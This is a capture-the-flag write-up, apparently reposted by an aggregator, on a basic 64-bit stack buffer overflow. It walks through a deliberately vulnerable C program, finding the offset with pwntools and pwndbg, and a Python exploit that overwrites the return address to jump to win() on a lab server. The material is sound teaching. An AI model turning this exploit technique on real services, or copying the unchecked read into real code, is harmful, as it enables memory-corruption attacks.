Buffer overflow | stack overflow binary exploitation guide | pentestgarage ADcCD labs…
文章介绍了一个基于栈的缓冲区溢出漏洞实验室。通过分析一个存在漏洞的C程序,展示了如何利用该漏洞控制程序执行流程。程序中的`buffer[64]`被`read(0, buffer, 0x100)`覆盖导致溢出。通过调试工具pwndbg和Python库pwntools生成循环模式、确定偏移量并构造payload,最终劫持返回地址跳转到`win()`函数获取密钥`/flag`。 2025-10-4 08:22:43 Author: infosecwriteups.com(查看原文) 阅读量:18 收藏

Muhammad Ashraf Ali

Lets solve a very basic stack based buffer overflow lab to learn how it occurs, how it can be exploited, and how to analyze execution flow using a debugger and Python for automate exploit.

Press enter or click to view image in full size

Lab files and resources

The lab provided resources.. a C source file, a compiled binary, and the remote endpoint where you will send your exploit and after studying the program to retrieve the flag.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <fcntl.h>

void __attribute__((constructor)) setup()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}

void win()
{
sendfile(1, open("/flag", 0), 0, 0x100);
}

int main()
{
char buffer[64];
printf("Enter your name: ");
read(0, buffer, 0x100);
printf("Hello, %s\n", buffer);
return 0;
}

vulnerable part is the buffer[64] with the read(0, buffer, 0x100) call…program allocates 64 bytes on the stack for your name, but read is told it may write up to 0x100 (256) bytes into that space, so if you supply more than 64 bytes the extra bytes spill past the end of buffer and start overwriting neighboring stack data..If the user types more than 64 bytes, the extra bytes spill past the buffer and start overwriting those important values on the stack.

observe that the win() function sends a secret (/flag). By overwriting the saved return address, an attacker can redirect execution to win() instead of returning normally. The program permits this because it copies more bytes into a stack buffer than it can hold, allowing user input to overwrite control data on the stack.

Now we will explore a detailed, step by step approach to exploit the vulnerability and use debugger to analyze and control program execution. We will focus on a simple pwndbg workflow rather than gdb because pwndbg provides a more structured and informative view, which makes understand register state, stack layout, function calls, and control flow…

Binary basics

use the file command to collect basic information about the compiled executable.

Press enter or click to view image in full size

ELF 64-bit LSB executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, BuildID[sha1]=…, for GNU/Linux 3.2.0, not stripped

The executable is in ELF format for Linux and 64 bit architecture. This mean.. addresses, register sizes, and calling conventions are 64 bit.instruction set, calling convention, register names (RAX, RBX, RSP, RIP, etc.)… LSB indicates little endian byte order, which is the common format on x86 and x86 64. I will explain endianness in detail when we craft the exploit. Already working with complete reverse engineering and exploitation guide. I will try cover topics one by one, from basic concepts to advanced architecture and exploitation techniques maximum.

Now that we know the win function contains the flag or secret, we need to trigger it by overflowing the buffer to overwrite the saved return address and redirect execution to win. First, locate the win function’s address.

the file is not stripped, use the nm utility to locate the address of the win function. nm reads the symbol table embedded in the binary and prints symbol names with their addresses, so you can call or return to functions like win or main directly. It also shows global variable addresses which can be useful if you want to overwrite data rather than control flow. pwndbg provides similar information via its info functions and makes inspection easier, but if the binary is stripped nm will not list those symbols and you will need to rely on other techniques such as disassembly or dynamic analysis.

nm ./vuln | grep " win" 

Press enter or click to view image in full size

collected win function address: 0x4011fd (symbol table entry 00000000004011fd T win).

pwntools

Install the pwntools Python library. It is an exploit development framework that for binary exploitation and will be useful for future maybe.

apt install python3-pwntools

First, generate a cyclic pattern of unique bytes and save it to a file. Feed that file or its raw bytes to the vulnerable program so the overflow overwrites control data. Writing the pattern to a file makes it easy to supply via standard input or to transfer to a remote target. The workflow is: generate the pattern, crash the program with it, and inspect registers and memory to locate the overwritten values.

python3 - <<'PY'
from pwn import cyclic, cyclic_find
open('pat','wb').write(cyclic(300))
PY

this code uses pwntools to generate a cyclic pattern and save it to a file called pat .

cyclic(300) builds a 300 byte pseudo random but deterministic pattern made of non repeating substrings (so every 4- or 8-byte window is unique), and open('pat','wb').write(...)writes that pattern to disk

pwndbg

Now run the compiled vulnerable binary under pwn debug. After it starts, feed the generated pattern into its input to trigger a crash.

pwndbg ./vunl

Feed the cyclic pattern file into the program (also can copy and paste generated random byte to input)

pwndbg> r < pat

can see the program crashed and pwndbg reported Program received signal SIGSEGV, segmentation fault. This means the CPU attempted to access memory it was not permitted to access, meaning the program tried to read from or write to an invalid address. Now let’s analyze the register state.

Press enter or click to view image in full size

supplied a cyclic pattern as input. The pattern is a deterministic sequence of bytes where every eight byte window is unique, which makes it easy to locate where your input appears in memory. The pattern uses ASCII 0x61 for the letter a, so many windows contain repeated 0x61 bytes. The eight byte value currently at the top of the stack is 0x6161617461616173. Interpreted as little endian ASCII it appears in pwndbg as “saaataaa”. You can see both the saved RBP and the value at the top of the stack contain bytes from your input pattern. That proves your buffer overflow wrote past the saved RBP into the saved return slot. Because execution stopped at a ret instruction, the processor will pop the eight bytes at RSP into RIP and attempt to jump there. Those bytes are not a valid code address and the process crashed, but crucially you control the value that will be popped into RIP. That control is the core requirement for a return to function exploit.

To make the program return to win(), place the 8 byte little endian encoding of win’s address (for example 0x4011fd) into the saved return slot on the stack where the cyclic value currently resides.

Endianness

We discussed earlier that the ELF is LSB which means little endian. Endianness is the order bytes are stored in memory for multi byte values..

Endianness determines how multi byte values (for example 16 bit, 32 bit, or 64 bit integers) are laid out in memory.

In little endian the least significant byte is stored at the lowest memory address.
In big endian the most significant byte is stored at the lowest memory address.

Suppose you have a 32-bit integer
0x12345678
Bytes in memory (from most to least significant):
0x12 (MSB)
0x34
0x56
0x78 (LSB)

In liitl endian
0x78 (LSB)
0x56
0x34
0x12 (MSB)

another example :

our win address is 0x4011fd

in little endian memory must store like : \xfd\x11\x40\x00\x00\x00\x00\x00

Offset

First, you need to determine the offset. offset is simply how many bytes from the start of your input you must write before you reach.and start to overwrite the saved return address on the stack.

in our example the cyclic pattern and the register dump showed an offset of 72 that means the first 72 bytes fill the buffer and the saved frame data that sit before the return address, and the 73rd byte (and onward) begins to overwrite the saved return address itself. Concretely here the function allocated buffer[64] (64 bytes) then the saved RBP (8 bytes) sits next on the stack, so 64 + 8 = 72 bytes brings you right to the saved return address. That number is what you use when building an exploit: b"A"*72 + <new_return_address> so the new address replaces the original return address and control flow is redirected.

ill show how find the offset using Python as well.

manual, step by step way to convert the register value to the little endian byte (just for understanding)

Take the 64‑bit value you saw in the register:

0x6161617461616173

Drop the 0x6161617461616173.

Split into 2‑hex‑digit bytes (big‑endian order):

61 61 61 74 61 61 61 73

Reverse the byte order to get little endian (memory order):

73 61 61 61 61 74 61 61

Concatenate those bytes 7361616161746161

If you convert those bytes to ASCII you get 0x73='s', 0x61='a', 0x61='a', 0x61='a', 0x61='a', 0x74='t', 0x61='a', 0x61='a' > roughly "saaaataa" which matches the s...a.. style you saw in pwndbg

we created "pat “ earlier with the cyclic pattern

this Python snippet will convert and search the exact little endian byte sequence

python3 - <<'PY'
hex_be = "6161617461616173"
bytes_be = [hex_be[i:i+2] for i in range(0, len(hex_be), 2)]
bytes_le = bytes_be[::-1]
seq = bytes.fromhex(''.join(bytes_le))
print("little-endian hex:", seq.hex())
data = open('pat','rb').read()
print("offset:", data.find(seq))
PY

This script takes a hex string you copied from a register (hex_be = "6161617461616173"), slices it into byte sized chunks with a list comprehension (bytes_be = [hex_be[i:i+2] for i in range(0, len(hex_be), 2)]), flips that list (bytes_le = bytes_be[::-1]) so the order matches how x86/x86_64 stores bytes in memory (little endian), joins and converts the reversed hex into a real bytes object (seq = bytes.fromhex(''.join(bytes_le))) and prints its hex form so you can verify it, then reads the pattern file (data = open('pat','rb').read()) and looks for that byte sequence inside the file (data.find(seq)); the returned index is the offset the exact number of bytes from the start of your input where that 8‑byte value appears in the cyclic pattern (or -1 if it isn’t found).

offset is 72

You observed the register value as 0x6161617461616173 (big endian hex).

Memory stores that same value as 73 61 61 61 61 74 61 61 (little endian bytes).

Searching the pattern file for that byte sequence tells you where in your input that exact 8‑byte window came from the offset to saved RIP

Press enter or click to view image in full size

Exploit

We need to overflow the program’s 64 byte stack buffer by sending 72 bytes of filler to overwrite saved RBP and reach the saved return address, then overwrite that saved RIP with the 8 byte little endian address of the win() function (found via nm), so when the function executes ret it pops our supplied address and jumps into win(), which opens and writes /flag to stdout

Press enter or click to view image in full size

import socket
import struct

ptgendpoind = "exampleabcdefg.pentestgarage.com"
portnumber = 3273

winaddress = 0x4011fd
offset = 72
payload = b"A" * offset + struct.pack("<Q", winaddress) + b"\n"
with socket.create_connection((ptgendpoind, portnumber), timeout=10) as s:
s.sendall(payload)
try:
data = s.recv(4096)
out = b""
while data:
out += data
data = s.recv(4096)
except socket.timeout:
out = b""
if out:
print("Success...blah blah blah")
print(out.decode(errors="ignore"))
else:
print("Evideyoo palippoyi onnum nadannilla .")

Exploit snippet Breakdown

ptgendpoind = “abcdefg.pentestgarage.com”
portnumber = 3273

Target host and port (remote service).

winaddress = 0x4011fd
offset = 72
winaddress: the fixed address of the win() function obtained from the local binary (nm ./vuln → 00000000004011fd T win).

offset: number of bytes to reach saved RIP, found by crashing with a cyclic pattern and locating where the pattern chunk appears (72).

payload = b”A” * offset + struct.pack(“<Q”, winaddress) + b”\n”
b”A” * offset: 72 filler bytes (0x41 = ASCII ‘A’) fill buffer and the saved RBP slot so the next bytes land exactly at saved RIP.

struct.pack(“<Q”, winaddress): packs the 64 bit winaddress into 8 bytes little-endian (< = little-endian, Q = unsigned 8-byte). On x86–64 the CPU reads addresses from memory in little endian order we discussed earlier, so you must pack the bytes this way. This 8 byte sequence becomes the new saved RIP.

b”\n”: a newline often terminates input reads (the program reads until it sees bytes or newline depending on how input is consumed). In this program read(0, buffer, 0x100) reads raw bytes until EOF, but adding newline ensures the remote nc or service sees an input termination if it expects line-based input; it’s harmless and commonly used.

Opens TCP connection and sends the payload bytes exactly as constructed by with socket.create_connection((ptgendpoind, portnumber), timeout=10) as s:
s.sendall(payload)

try:
data = s.recv(4096)
out = b””
while data:
out += data
data = s.recv(4096)
except socket.timeout:
out = b””

Reads back whatever the remote service sends after processing your payload. It loops until the remote closes the connection or recv returns nothing. Timeout handling prevents hanging forever

then If some data was received, print success and the data (likely the flag printed by win()).

Press enter or click to view image in full size

falg

What We Did, in Short

by generating a cyclic pattern and crashing the program under pwndbg we observed which bytes ended up in the saved return slot, converted that observed value into the corresponding byte offset of 72, and then crafted a payload consisting of 72 filler bytes followed by the 8 byte little endian encoding of the win function address ..sending that payload to the running service caused the function epilogue to execute a ret which popped our supplied address into RIP and transferred control into win, and win then executed its intended behavior of opening and sending the flag to stdout, so the exploit succeeds by abusing unchecked input length to overwrite return control flow and redirect execution to a benign helper function that leaks the secret.

Happy Hacking


文章来源: https://infosecwriteups.com/buffer-overflow-stack-overflow-binary-exploitation-guide-pentestgarage-adccd-labs-9c2b5433ebc3?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh